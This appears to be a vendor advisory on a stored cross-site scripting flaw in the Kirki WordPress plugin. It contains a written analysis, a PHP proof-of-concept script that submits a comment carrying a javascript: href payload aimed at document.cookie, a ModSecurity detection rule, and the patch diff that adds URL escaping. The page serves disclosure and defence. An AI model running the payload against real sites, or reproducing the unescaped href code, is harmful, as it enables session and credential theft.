{
“analysis”: “Atomic Edge analysis of CVE-2026-137039:nnKirki Freeform Page Builder, Website Builder & Customizer plugin for WordPress, versions up to and including 6.4.3, contains an unauthenticated stored cross-site scripting vulnerability. The flaw resides in the handling of the `properties.attributes.href` parameter within Kirki’s frontend rendering code. Atomic Edge research confirms that insufficient input sanitization and output escaping allow an attacker to inject arbitrary web scripts into pages. The CVSS score of 5.4 reflects the requirement for limited administrator interaction (approving a comment and running a migration).nnThe root cause spans multiple code paths. In `kirki/includes/Frontend/Preview/ExceptionalElements.php`, the `link_element` and `button_element` methods build HTML anchor tags using the `$href` variable without escaping. For example, line 646 returns `’‘`, and line 668 returns `””`. The `$href` value originates from `$this_data[‘properties’][‘attributes’][‘href’]` and is not sanitized. Similarly, in `kirki/includes/Frontend/Preview/Preview.php`, the `get_href_value` method at line 1993 uses `preg_replace` to replace `href` attributes with `$href` without escaping, and line 2529 constructs a preload link with unescaped `$properties[‘preload’]` and `$href`. When an administrator approves a comment that contains a crafted `href` attribute, and subsequently runs Kirki’s Convert migration, the unescaped payload is persisted into block storage. On page render, these functions output the malicious `href` directly into the HTML, enabling script execution.nnExploitation requires a multi-step attack. First, an unauthenticated attacker submits a comment containing a crafted link with a `javascript:` URI in the `href` attribute. The comment must be approved by an administrator. Second, the administrator must run Kirki’s Convert migration, which processes the comment and stores the link data in the page’s block attributes. Third, the administrator publishes the page. Once published, every visitor to the page triggers the stored XSS payload because the `href` value is output without escaping by the affected functions. An example payload is `javascript:alert(document.cookie)`, which executes in the context of the victim’s browser.nnThe patch addresses the vulnerability by escaping output in the affected functions. In `ExceptionalElements.php`, the diff replaces the unescaped `$href` with `esc_url( $href )` in both `link_element` (line 646) and `button_element` (line 668). Additionally, the regex used to remove existing `href` attributes is tightened to `/(?<![w-])href="[^"]*"/i` to avoid partial matches. In `Preview.php`, the `href` replacement now uses `esc_url( $href )` and a callback to preserve literal `$1` sequences (line 1995). The preload link at line 2529 now uses `esc_attr()` and `esc_url()`. These changes ensure that the `href` value is sanitized and cannot contain executable JavaScript. The patch also includes unrelated fixes for translation loading and export/import handling, but the XSS fix is centered on output escaping.nnThe impact of successful exploitation is stored cross-site scripting. An attacker can execute arbitrary JavaScript in the browser of any user visiting the compromised page, including administrators. This allows session hijacking, credential theft, defacement, redirection to malicious sites, and potentially remote code execution if the attacker leverages the XSS to create an administrative user or install a malicious plugin. The vulnerability is particularly dangerous because it requires only a single comment approval and migration action by an administrator, after which the payload fires for all visitors without further interaction.",
"poc_php": "<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-137039 – Kirki 1, // ID of a post that will be convertedn ‘author’ => ‘Attacker’,n ’email’ => ‘attacker@example.com’,n ‘url’ => ‘http://example.com’,n ‘comment’ => ‘Click me‘,n ‘submit’ => ‘Post Comment’n];nn// Send comment submissionn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-comments-post.php’);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);n$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnecho “[+] Comment submitted, HTTP code: $http_code\n”;nn// Step 2: Simulate admin approval and migration.n// In a real scenario, the attacker must trick an admin into approving the comment and running the migration.n// For this PoC, we assume the admin has already performed these steps.n// The migration converts the comment into a Kirki element with the malicious href stored in block attributes.nn// Step 3: Trigger the stored XSS by visiting the published page.n// The payload will execute when a user visits the page, because the href is output unescaped.n$page_url = $target_url . ‘/?p=1’; // URL of the converted pagenn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $page_url);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);n$page_content = curl_exec($ch);ncurl_close($ch);nnif (strpos($page_content, ‘javascript:alert(document.cookie)’) !== false) {n echo “[+] Vulnerability confirmed: malicious href found in page output.\n”;n echo “[+] Stored XSS will execute when a user clicks the link.\n”;n} else {n echo “[-] Payload not found. The admin may not have completed approval and migration.\n”;n}nn// Note: This PoC does not include the admin approval and migration steps because they require authenticated admin access.n// In a real attack, the attacker would rely on social engineering to get the admin to perform these actions.n?>”,
“modsecurity_rule”: “SecRule REQUEST_URI “@streq /wp-comments-post.php” “id:2026137039,phase:2,deny,status:403,chain,msg:’CVE-2026-137039 via Kirki comment href XSS’,severity:’CRITICAL’,tag:’CVE-2026-137039′”n SecRule ARGS_POST:comment “@rx ]*href\s*=\s*[‘\”]?javascript:” “t:urlDecodeUni,t:htmlEntityDecode,t:lowercase””
}

CVE-2026-137039: Kirki <= 6.4.3 Unauthenticated Stored Cross-Site Scripting via Comment Anchor href PoC, Patch Analysis & Rule
CVE-2026-137039
kirki
6.4.3
6.4.4
Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/kirki/config/messages.php
+++ b/kirki/config/messages.php
@@ -2,7 +2,7 @@
return [
'validator' => [
- 'failed' => __('Validation failed!', 'kirki'),
+ 'failed' => __('Validation failed! Please check all fields and try again.', 'kirki'),
/* translators: %s: Field name. */
'invalid' => __('The %s field is invalid.', 'kirki'),
/* translators: %s: Validation rule name. */
--- a/kirki/customizer/packages/fields/base/src/Field.php
+++ b/kirki/customizer/packages/fields/base/src/Field.php
@@ -80,6 +80,44 @@
$args = [];
}
+ /*
+ * Themes often create fields directly from functions.php, before `init`.
+ * Setting a field up translates its labels, and since WordPress 6.7 loading
+ * translations before `init` triggers a _doing_it_wrong() notice
+ * ("Translation loading for the kirki domain was triggered too early").
+ * In that case, defer the setup to `init`, which still runs before every
+ * hook a field relies on (wp_loaded, wp, customize_register, wp_head).
+ */
+ if ( ! did_action( 'init' ) ) {
+ // Keep the field's arguments (and default) available to Kirki::get_option() right away.
+ if ( isset( $args['settings'] ) ) {
+ KirkiCompatibilityKirki::$all_fields[ $args['settings'] ] = $args;
+ }
+
+ add_action(
+ 'init',
+ function() use ( $args ) {
+ $this->setup_field( $args );
+ },
+ 1
+ );
+ return;
+ }
+
+ $this->setup_field( $args );
+
+ }
+
+ /**
+ * Set up the field: run its init logic and register its hooks.
+ *
+ * @access protected
+ * @since 6.4.4
+ * @param array $args The field arguments.
+ * @return void
+ */
+ protected function setup_field( $args ) {
+
$control_class = property_exists( $this, 'control_class' ) && ! empty( $this->control_class ) ? $this->control_class : '';
// Allow 3rd parties to do their custom "init" work.
@@ -87,6 +125,10 @@
// Allow 3rd parties to early stop the field from being registered.
if ( apply_filters( 'kirki_field_exclude_init', false, $this, $args ) ) {
+ // Undo the early registration made in __construct() for fields created before init.
+ if ( isset( $args['settings'] ) && isset( KirkiCompatibilityKirki::$all_fields[ $args['settings'] ] ) && KirkiCompatibilityKirki::$all_fields[ $args['settings'] ] === $args ) {
+ unset( KirkiCompatibilityKirki::$all_fields[ $args['settings'] ] );
+ }
return;
}
--- a/kirki/customizer/packages/fields/typography/src/Field/Setting/Typography.php
+++ b/kirki/customizer/packages/fields/typography/src/Field/Setting/Typography.php
@@ -0,0 +1,57 @@
+<?php
+/**
+ * Customizer setting for the typography field's parent setting.
+ *
+ * @package kirki-framework/control-typography
+ * @copyright Copyright (c) 2023, Themeum
+ * @license https://opensource.org/licenses/MIT
+ * @since 6.4.4
+ */
+
+namespace KirkiFieldSetting;
+
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
+/**
+ * Keeps WordPress' shared multidimensional root value in sync with the parent setting.
+ *
+ * A typography field stores its full value in a parent setting (e.g. `my_font`)
+ * and also registers one sub-setting per property (e.g. `my_font[variant]`).
+ *
+ * WordPress caches one root value for all settings that share a base ID. Saving a
+ * sub-setting replaces its key in that cached root and writes the whole root back,
+ * but saving the parent setting does not update the cache. When the parent and a
+ * sub-setting are published together, the sub-setting therefore overwrites the
+ * parent's new value with the stale root. Keys that only the parent carries, such
+ * as `font-weight` and `font-style`, revert to their previous values.
+ *
+ * @since 6.4.4
+ */
+class Typography extends WP_Customize_Setting {
+
+ /**
+ * Save the value and update the shared root value before doing so.
+ *
+ * @access protected
+ * @since 6.4.4
+ * @param mixed $value The value to update.
+ * @return bool The result of saving the value.
+ */
+ protected function update( $value ) {
+
+ // A keyed parent (e.g. when using `option_name`) is already aggregated and handled by WordPress.
+ if ( ! $this->is_multidimensional_aggregated ) {
+ $id_base = $this->id_data['base'];
+
+ if ( isset( self::$aggregated_multidimensionals[ $this->type ][ $id_base ] ) ) {
+ self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value'] = $value;
+ }
+ }
+
+ return parent::update( $value );
+
+ }
+
+}
--- a/kirki/customizer/packages/fields/typography/src/Field/Typography.php
+++ b/kirki/customizer/packages/fields/typography/src/Field/Typography.php
@@ -232,7 +232,7 @@
/**
* Add a hidden field, the label & description.
*/
- new KirkiFieldGeneric(
+ new KirkiFieldTypographyParent(
wp_parse_args(
[
'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ],
--- a/kirki/customizer/packages/fields/typography/src/Field/TypographyParent.php
+++ b/kirki/customizer/packages/fields/typography/src/Field/TypographyParent.php
@@ -0,0 +1,35 @@
+<?php
+/**
+ * Hidden parent field of the typography field.
+ *
+ * @package kirki-framework/control-typography
+ * @copyright Copyright (c) 2023, Themeum
+ * @license https://opensource.org/licenses/MIT
+ * @since 6.4.4
+ */
+
+namespace KirkiField;
+
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
+/**
+ * The generic hidden field that holds the full typography value.
+ *
+ * It only differs from the generic field by its setting class.
+ *
+ * @since 6.4.4
+ */
+class TypographyParent extends Generic {
+
+ /**
+ * The setting class.
+ *
+ * @access protected
+ * @since 6.4.4
+ * @var string
+ */
+ protected $settings_class = 'KirkiFieldSettingTypography';
+
+}
--- a/kirki/includes/Admin/EditWithButton.php
+++ b/kirki/includes/Admin/EditWithButton.php
@@ -85,6 +85,13 @@
* @return array
*/
public function filter_post_row_actions( $actions, $post ) {
+
+ $exclude_post_statuses = array('trash');
+ if (in_array($post->post_status, $exclude_post_statuses)) {
+ unset($actions['edit_with_kirki']);
+ return $actions;
+ }
+
$editor_mode = HelperFunctions::is_editor_mode_is_kirki( $post->ID );
if ( $editor_mode && HelperFunctions::user_has_post_edit_access( $post->ID ) ) {
$editor_url = HelperFunctions::get_post_url_arr_from_post_id( $post->ID, array( 'editor_url' => true ) )['editor_url'];
--- a/kirki/includes/Ajax/ExportImport.php
+++ b/kirki/includes/Ajax/ExportImport.php
@@ -22,7 +22,7 @@
public static function export()
{
$filename = HelperFunctions::sanitize_text(isset($_POST['filename']) ? $_POST['filename'] : '');
- $filename = basename($filename);
+ $filename = sanitize_file_name(basename($filename));
$data = isset($_POST['data']) ? $_POST['data'] : '{}';
$data = json_decode(stripslashes($data), true);
$blocks = $data['blocks'];
--- a/kirki/includes/ExportImport/TemplateExport.php
+++ b/kirki/includes/ExportImport/TemplateExport.php
@@ -54,7 +54,7 @@
$environment['queue'][] = 'assetUrls';
}
- HelperFunctions::update_global_data_using_key('kirki_project_export', $environment);
+ $this->save_environment($environment);
return array(
'status' => 'init',
'queue' => $environment['queue'],
@@ -70,15 +70,12 @@
'message' => 'Nothing found to export',
);
}
- $site_name = get_bloginfo('name');
$template_data = $environment['template_data'];
- $template_data['variable_prefix'] = $site_name;
$this->only_published_pages = $environment['only_published_pages'];
-
- $formattedString = preg_replace('/[^a-zA-Z ]/', '', $site_name); // Remove numbers & special symbols
- $formattedString = str_replace(' ', '_', strtolower($formattedString));
- $template_data['batch_id'] = $formattedString;
- $template_data['prefix'] = $formattedString;
+
+ $template_data['variable_prefix'] = '';
+ $template_data['batch_id'] = '';
+ $template_data['prefix'] = '';
$queue = $environment['queue'];
if (count($queue) > 0) {
@@ -139,7 +136,7 @@
$environment['asset_urls_tracker'] = $this->asset_urls_tracker;
$environment['asset_urls'] = $this->asset_urls;
$environment['template_data'] = $template_data;
- HelperFunctions::update_global_data_using_key('kirki_project_export', $environment);
+ $this->save_environment($environment);
return array(
'status' => 'exporting',
'queue' => $queue,
@@ -156,6 +153,33 @@
}
}
+ /**
+ * Save the export state between steps.
+ *
+ * The state is saved with update_post_meta(), which removes one level of backslashes from every
+ * string it saves (wp_unslash()). The state holds the exported pages with their raw meta values,
+ * so without adding a level first, every export step strips backslashes from them. A page whose
+ * data contains backslashes (e.g. in custom code) then can't be unserialized any more, and its
+ * blocks and media are missing from the export.
+ *
+ * @param array $environment The export state.
+ * @return void
+ */
+ private function save_environment($environment)
+ {
+ // Copy first: map_deep() changes objects (the exported posts) in place.
+ $environment = unserialize(serialize($environment));
+
+ $environment = map_deep(
+ $environment,
+ function ($value) {
+ return is_string($value) ? addslashes($value) : $value;
+ }
+ );
+
+ HelperFunctions::update_global_data_using_key('kirki_project_export', $environment);
+ }
+
private function export_and_get_url($template_data)
{
// creating a zip file name for template export.
@@ -166,6 +190,8 @@
}
// Convert the site name to a slug format
$zip_filename = strtolower(str_replace(' ', '-', $site_name));
+ // The zip is stored in the public uploads folder until it is downloaded, so its name must not be guessable.
+ $zip_filename = sanitize_file_name($zip_filename . '-' . wp_generate_password(16, false));
$zip_file_url = $this->make_zip_and_get_url($zip_filename, $template_data);
return $zip_file_url;
@@ -175,6 +201,7 @@
$this->extract_asset_url_from_content_manager($template_data['contentManager']);
$this->extract_asset_url_from_pages($template_data['pages']);
$this->extract_asset_url_from_template($template_data['templates']);
+ $this->extract_asset_url_from_pages($template_data['utility_pages']);
$this->extract_asset_url_from_popups($template_data['popups']);
$this->extract_asset_url_from_symbols($template_data['symbols']);
$this->extract_asset_url_from_string(json_encode($template_data['globalStyleBlocks']));
@@ -187,7 +214,8 @@
}
$string = stripslashes($string);
// Define a regular expression pattern to match any image URLs
- $pattern = '/https?://[^s]+/[^s]+.(jpg|jpeg|png|gif|svg|webp)/i';
+ // Stop at quotes, brackets and spaces, so that every URL in a JSON or CSS string is matched on its own.
+ $pattern = '/https?://[^s"'()<>]+.(jpg|jpeg|png|gif|svg|webp)/i';
// Find all image URLs matching the pattern in the string
preg_match_all($pattern, $string, $matches);
// Output the found image URLs
@@ -199,7 +227,7 @@
private function extract_asset_url_from_content_manager($contentManager)
{
- $types = array('image', 'video', 'gallery');
+ $types = array('image', 'video', 'gallery', 'file');
foreach ($contentManager as $key => $collection) {
$asset_field_ids = array(); // [{type: 'image', id: 'kirki_cm_field_952_dp23nqfx'}]
@@ -296,6 +324,10 @@
$this->exact_asset_url_from_blocks($kirki_data, 'popups');
}
}
+ if (!empty($meta['kirki_global_style_block_random'])) {
+ $kirki_global_style_block_random = maybe_unserialize($meta['kirki_global_style_block_random'][0]);
+ $this->extract_asset_url_from_string(json_encode($kirki_global_style_block_random));
+ }
}
}
@@ -372,6 +404,11 @@
global $wp_filesystem;
$zip = new ZipArchive();
+ // Exports without media have no asset list.
+ if (!isset($template_data['assetUrls']) || !is_array($template_data['assetUrls'])) {
+ $template_data['assetUrls'] = array();
+ }
+
$upload_dir = wp_upload_dir();
// Step 1: create zip file path and json file path
@@ -534,7 +571,8 @@
}
// Step 3: Open the zip file
- if (true !== $zip->open($zip_file_path, ZipArchive::CREATE)) {
+ // OVERWRITE: start from an empty zip, even if an earlier export with the same name was never downloaded.
+ if (true !== $zip->open($zip_file_path, ZipArchive::CREATE | ZipArchive::OVERWRITE)) {
// throw new Exception('Failed to create zip file');
wp_send_json_error('Failed to write template file');
}
@@ -542,14 +580,15 @@
// Step 4: Add file to the zip file
foreach ($template_data['assetUrls'] as $key => $asset_item) {
$url = $asset_item['url'];
- $file_name = basename($url); // Extract only the filename (e.g., "image.jpg")
+ $file_name = basename($url); // Extract only the filename (e.g., "image.jpg"). The importer looks the file up by this name.
- $file_path = $upload_dir['basedir'] . str_replace($upload_dir['baseurl'], '', $url);
+ $attachment_id = isset($asset_item['attachment_id']) ? $asset_item['attachment_id'] : 0;
+ $file_path = $this->get_asset_file_path($attachment_id, $url);
$zip_path = 'assets/' . $file_name; // Place all files inside "media/" without subdirectories
// Check if file exists
- if (!file_exists($file_path)) {
- // error_log("File not found: " . $file_path);
+ if (!$file_path) {
+ // error_log("File not found: " . $url);
continue; // Skip to the next file
}
@@ -745,9 +784,10 @@
private function push_to_asset_urls_tracker($attachment_id, $url)
{
if (!$attachment_id) {
- $attachment_id = attachment_url_to_postid($url);
+ $attachment_id = $this->find_attachment_id_by_url($url);
}
if ($attachment_id) {
+ $url = $this->get_asset_file_url($attachment_id, $url);
$this->asset_urls_tracker[$attachment_id] = array(
'attachment_id' => $attachment_id,
'url' => $url,
@@ -755,6 +795,218 @@
}
}
+ /**
+ * Get the path of an uploaded file inside the uploads folder from its URL (e.g. "2025/01/hero.jpg").
+ *
+ * Works when the URL's scheme or domain differs from the current site (http/https, www, a previous domain).
+ *
+ * @param string $url The file URL.
+ * @return string|false The relative path, or false when the URL is not inside an uploads folder.
+ */
+ private function get_uploads_relative_path($url)
+ {
+ $upload_dir = wp_upload_dir();
+ $uploads_path = wp_parse_url($upload_dir['baseurl'], PHP_URL_PATH);
+ $url_path = wp_parse_url($url, PHP_URL_PATH);
+
+ if (!$uploads_path || !$url_path) {
+ return false;
+ }
+
+ $uploads_path = trailingslashit($uploads_path);
+ $position = strpos($url_path, $uploads_path);
+ if (false === $position) {
+ return false;
+ }
+
+ $relative_path = rawurldecode(substr($url_path, $position + strlen($uploads_path)));
+
+ // Never leave the uploads folder.
+ if ('' === $relative_path || preg_match('#(^|/)..(/|$)#', $relative_path)) {
+ return false;
+ }
+
+ return $relative_path;
+ }
+
+ /**
+ * Find the attachment of an uploaded file URL.
+ *
+ * Besides the exact URL, this also matches resized copies (e.g. "hero-300x200.jpg"),
+ * the "-scaled" copy of large images, and URLs whose scheme or domain differs from the current site.
+ *
+ * @param string $url The file URL.
+ * @return int The attachment ID, or 0 when none is found.
+ */
+ private function find_attachment_id_by_url($url)
+ {
+ $attachment_id = attachment_url_to_postid($url);
+ if ($attachment_id) {
+ return $attachment_id;
+ }
+
+ // The attachment's page link on this site, e.g. "https://site.test/?attachment_id=32".
+ $query = wp_parse_url($url, PHP_URL_QUERY);
+ if ($query && wp_parse_url($url, PHP_URL_HOST) === wp_parse_url(home_url(), PHP_URL_HOST)) {
+ parse_str($query, $query_args);
+ if (!empty($query_args['attachment_id']) && 'attachment' === get_post_type((int) $query_args['attachment_id'])) {
+ return (int) $query_args['attachment_id'];
+ }
+ }
+
+ $relative_path = $this->get_uploads_relative_path($url);
+ if (!$relative_path) {
+ return 0;
+ }
+
+ $upload_dir = wp_upload_dir();
+ $original_path = preg_replace('/-d+xd+(.[^./]+)$/', '$1', $relative_path);
+ $candidates = array_unique(
+ array(
+ $relative_path,
+ $original_path,
+ preg_replace('/(.[^./]+)$/', '-scaled$1', $original_path),
+ )
+ );
+
+ foreach ($candidates as $candidate) {
+ $attachment_id = attachment_url_to_postid(trailingslashit($upload_dir['baseurl']) . $candidate);
+ if ($attachment_id) {
+ return $attachment_id;
+ }
+ }
+
+ return 0;
+ }
+
+ /**
+ * Get the URL to record for an asset.
+ *
+ * Media data uses the attachment's guid as its URL, which can be the attachment's page link
+ * (e.g. "https://site.test/?attachment_id=32") instead of its file URL. The importer finds each
+ * file in the zip by the URL's file name, so record the attachment's file URL whenever the
+ * given URL doesn't lead to a file. Images and content manager media are relinked by ID.
+ *
+ * @param int $attachment_id The asset's attachment ID.
+ * @param string $url The asset URL found in the content.
+ * @return string The URL to record.
+ */
+ private function get_asset_file_url($attachment_id, $url)
+ {
+ if ($this->get_asset_file_path($attachment_id, $url)) {
+ return $url;
+ }
+
+ $file_url = wp_get_attachment_url($attachment_id);
+ if ($file_url && $this->get_asset_file_path($attachment_id, $file_url)) {
+ return $file_url;
+ }
+
+ return $url;
+ }
+
+ /**
+ * Find the file on disk for an asset.
+ *
+ * @param int $attachment_id The asset's attachment ID.
+ * @param string $url The asset URL.
+ * @return string|false The file path, or false when the file can't be found.
+ */
+ private function get_asset_file_path($attachment_id, $url)
+ {
+ $upload_dir = wp_upload_dir();
+ $candidates = array();
+
+ // The URL inside the current uploads URL.
+ $relative_url = str_replace($upload_dir['baseurl'], '', $url);
+ if ($relative_url !== $url && !preg_match('#(^|/)..(/|$)#', $relative_url)) {
+ $candidates[] = $upload_dir['basedir'] . $relative_url;
+ }
+
+ // The URL's path inside the uploads folder, whatever its scheme, domain or query string.
+ $relative_path = $this->get_uploads_relative_path($url);
+ if ($relative_path) {
+ $candidates[] = trailingslashit($upload_dir['basedir']) . $relative_path;
+ }
+
+ $attached_file = $attachment_id ? get_attached_file($attachment_id) : false;
+ $url_path = wp_parse_url($url, PHP_URL_PATH);
+ if ($attached_file && $url_path) {
+ $url_file_name = wp_basename(rawurldecode($url_path));
+
+ // A copy with the URL's file name next to the attachment's file (a resized or "-scaled" copy).
+ $candidates[] = trailingslashit(dirname($attached_file)) . $url_file_name;
+
+ // The attachment's own file, when the URL is a copy of it whose file is missing.
+ $url_original_name = preg_replace('/(-d+xd+|-scaled)(.[^.]+)$/', '$2', $url_file_name);
+ $attached_original_name = preg_replace('/-scaled(.[^.]+)$/', '$1', wp_basename($attached_file));
+ if ($url_original_name === $attached_original_name) {
+ $candidates[] = $attached_file;
+ }
+ }
+
+ // Only files that belong to the attachment may be exported.
+ $allowed_files = $this->get_attachment_files($attachment_id);
+ foreach ($candidates as $candidate) {
+ $real = realpath($candidate);
+ if ($real && isset($allowed_files[wp_normalize_path($real)])) {
+ return $real;
+ }
+ }
+
+ return false;
+ }
+
+ /**
+ * Get the files that belong to an attachment: its file, its original image and its registered sizes.
+ *
+ * Asset URLs and IDs come from site content, so only these files may be added to an export.
+ * Paths are resolved with realpath() and must stay inside the uploads folder (this also stops
+ * "..", backslash and symlink tricks).
+ *
+ * @param int $attachment_id The attachment ID.
+ * @return array Map of allowed real file paths (normalized path => real path).
+ */
+ private function get_attachment_files($attachment_id)
+ {
+ $attachment_id = (int) $attachment_id;
+ if (!$attachment_id || 'attachment' !== get_post_type($attachment_id)) {
+ return array();
+ }
+
+ $attached_file = get_attached_file($attachment_id);
+ $upload_dir = wp_upload_dir();
+ $uploads_dir = realpath($upload_dir['basedir']);
+ if (!$attached_file || !$uploads_dir) {
+ return array();
+ }
+ $uploads_dir = trailingslashit(wp_normalize_path($uploads_dir));
+
+ $dir = trailingslashit(dirname($attached_file));
+ $names = array(wp_basename($attached_file));
+ $metadata = wp_get_attachment_metadata($attachment_id);
+ if (!empty($metadata['original_image'])) {
+ $names[] = wp_basename($metadata['original_image']);
+ }
+ if (!empty($metadata['sizes']) && is_array($metadata['sizes'])) {
+ foreach ($metadata['sizes'] as $size) {
+ if (!empty($size['file'])) {
+ $names[] = wp_basename($size['file']);
+ }
+ }
+ }
+
+ $files = array();
+ foreach (array_unique($names) as $name) {
+ $real = realpath($dir . $name);
+ if ($real && is_file($real) && 0 === strpos(wp_normalize_path($real), $uploads_dir)) {
+ $files[wp_normalize_path($real)] = $real;
+ }
+ }
+
+ return $files;
+ }
+
private function get_all_content_manager_ref_fields()
{
$cm_ref_fields = ContentManagerHelper::get_post_cm_ref_fields();
--- a/kirki/includes/ExportImport/TemplateImport.php
+++ b/kirki/includes/ExportImport/TemplateImport.php
@@ -328,11 +328,14 @@
unset( $environment['json_data']['templates'] );
unset( $environment['json_data']['utility_pages'] );
- HelperFunctions::update_global_data_using_key( 'kirki_project_import', $environment );
-
- HelperFunctions::update_global_data_using_key( 'kirki_project_import_pages', $all_kirki_pages );
- HelperFunctions::update_global_data_using_key( 'kirki_project_import_templates', $all_templates_pages );
- HelperFunctions::update_global_data_using_key( 'kirki_project_import_utility', $all_utility_pages );
+ // update_post_meta() removes one level of backslashes from every string it saves (wp_unslash()),
+ // so add one first. Otherwise every import step strips backslashes from the imported data, and
+ // a page whose data contains backslashes (e.g. in custom code) can't be read any more.
+ HelperFunctions::update_global_data_using_key( 'kirki_project_import', wp_slash( $environment ) );
+
+ HelperFunctions::update_global_data_using_key( 'kirki_project_import_pages', wp_slash( $all_kirki_pages ) );
+ HelperFunctions::update_global_data_using_key( 'kirki_project_import_templates', wp_slash( $all_templates_pages ) );
+ HelperFunctions::update_global_data_using_key( 'kirki_project_import_utility', wp_slash( $all_utility_pages ) );
} else {
HelperFunctions::update_global_data_using_key( 'kirki_project_import', false );
HelperFunctions::update_global_data_using_key( 'kirki_project_import_pages', false );
@@ -634,7 +637,7 @@
}
}
}
- update_post_meta( $post_id, 'kirki', $kirki_data );
+ update_post_meta( $post_id, 'kirki', wp_slash( $kirki_data ) );
}
// now loop through the kirki_cm_ref_field_post_tracker and update the post_id and ref_post_id
@@ -659,7 +662,7 @@
}
// update the post meta
- update_post_meta( $new_post_id, KIRKI_CONTENT_MANAGER_PREFIX . '_fields', $kirki_cm_fields );
+ update_post_meta( $new_post_id, KIRKI_CONTENT_MANAGER_PREFIX . '_fields', wp_slash( $kirki_cm_fields ) );
}
}
@@ -1008,7 +1011,8 @@
}
$updated_key_value = $this->handle_kirki_related_meta( $key, $v, $post );
- update_post_meta( $post_id, $updated_key_value[0], $updated_key_value[1] );
+ // Slashed, because update_post_meta() unslashes: the value is saved exactly as exported.
+ update_post_meta( $post_id, $updated_key_value[0], wp_slash( $updated_key_value[1] ) );
}
}
--- a/kirki/includes/Frontend/Preview/ExceptionalElements.php
+++ b/kirki/includes/Frontend/Preview/ExceptionalElements.php
@@ -635,7 +635,7 @@
$preload_link = '';
if ( $href ) {
- $attributes = preg_replace( '/href="([^"]+")/i', '', $attributes );
+ $attributes = preg_replace( '/(?<![w-])href="[^"]*"/i', '', $attributes );
// check if this link is active
$attributes = $this->add_link_active_class( $href, $attributes, $this_data, $options );
@@ -643,7 +643,7 @@
$preload_link = $this->get_preload_link( $href, $this_data );
}
- return '<a ' . $attributes . ' ' . ' href="' . $href . '" >' . $this->construct_children_markup( isset( $this_data['children'] ) ? $this_data['children'] : array(), $options ) . '</a>' . $preload_link;
+ return '<a ' . $attributes . ' ' . ' href="' . esc_url( $href ) . '" >' . $this->construct_children_markup( isset( $this_data['children'] ) ? $this_data['children'] : array(), $options ) . '</a>' . $preload_link;
}
private function button_element( $this_data, $attributes, $options ) {
@@ -651,7 +651,7 @@
$preload_link = '';
if ( $href ) {
- $attributes = preg_replace( '/href="([^"]+")/i', '', $attributes );
+ $attributes = preg_replace( '/(?<![w-])href="[^"]*"/i', '', $attributes );
// check if this link is active
$attributes = $this->add_link_active_class( $href, $attributes, $this_data, $options );
@@ -665,7 +665,9 @@
$tag = 'a';
}
- return "<$tag $attributes href="$href">
+ $escaped_href = esc_url( $href );
+
+ return "<$tag $attributes href="$escaped_href">
$children_markup
</$tag>
$preload_link";
@@ -1039,7 +1041,7 @@
}
$depth++;
foreach ( $submenus as $key => $menu ) {
- $str .= '<li class="' . 'kirki-element-nav-item"><a class="' . 'kirki-link-element" href="' . $menu->url . '" target="' . $menu->target . '">' . $menu->title . '</a>' . $this->rec_gen_menu_items( $menu->submenus, $depth ) . '</li>';
+ $str .= '<li class="' . 'kirki-element-nav-item"><a class="' . 'kirki-link-element" href="' . esc_url( $menu->url ) . '" target="' . esc_attr( $menu->target ) . '">' . $menu->title . '</a>' . $this->rec_gen_menu_items( $menu->submenus, $depth ) . '</li>';
}
$str .= '</ul>';
return $str;
--- a/kirki/includes/Frontend/Preview/Preview.php
+++ b/kirki/includes/Frontend/Preview/Preview.php
@@ -1991,8 +1991,18 @@
$href = $this->get_href_value( $this_data, $options );
if ( $href ) {
- // replace href.
- $attributes = preg_replace( '/href="([^"]+")/i', "href='$href'", $attributes );
+ // Replace the href with the resolved link. The value can come from stored block data
+ // (e.g. links copied from page content by the Convert migration), so it is escaped,
+ // written in double quotes, and inserted with a callback so "$1"/"\1" in it stay literal.
+ $escaped_href = esc_url( $href );
+ $attributes = preg_replace_callback(
+ '/(?<![w-])href="[^"]*"/i',
+ function () use ( $escaped_href ) {
+ return 'href="' . $escaped_href . '"';
+ },
+ $attributes,
+ 1
+ );
// check if the link is active.
$attributes = $this->add_link_active_class( $href, $attributes );
@@ -2011,13 +2021,21 @@
if ( in_array( $tag, $nested_not_allowed_tags ) && HelperFunctions::check_string_has_this_tags( $child_content_or_html, $tag ) ) {
$tag = 'div';
}
- // Start Tag <div>.
- $html = '<' . $tag . ' ' . $attributes . '>';
- $html .= $child_content_or_html;
- $html .= '</' . $tag . '>';
- $html .= $preload_link;
- // End Tag </div>.
- return $html;
+
+ if($this->is_text_list_element( $this_data )){
+ $html = $child_content_or_html;
+ $html .= $preload_link;
+ return $html;
+ }else{
+ // Start Tag <div>.
+ $html = '<' . $tag . ' ' . $attributes . '>';
+ $html .= $child_content_or_html;
+ $html .= '</' . $tag . '>';
+ $html .= $preload_link;
+ // End Tag </div>.
+ return $html;
+ }
+
}
/**
@@ -2508,7 +2526,7 @@
$properties = $this_data['properties'];
if ( isset( $properties['preload'] ) && $properties['preload'] !== 'default' ) {
- return '<link rel="' . $properties['preload'] . '" href="' . $href . '">';
+ return '<link rel="' . esc_attr( $properties['preload'] ) . '" href="' . esc_url( $href ) . '">';
}
return '';
--- a/kirki/kirki.php
+++ b/kirki/kirki.php
@@ -7,7 +7,7 @@
* Plugin Name: Kirki
* Plugin URI: https://kirki.com
* Description: Kirki is an all-in-one no-code builder that empowers users to build professional-grade WordPress sites without writing any code. It’s a promising glimpse into the future of website development.
- * Version: 6.4.3
+ * Version: 6.4.4
* Author: Kirki
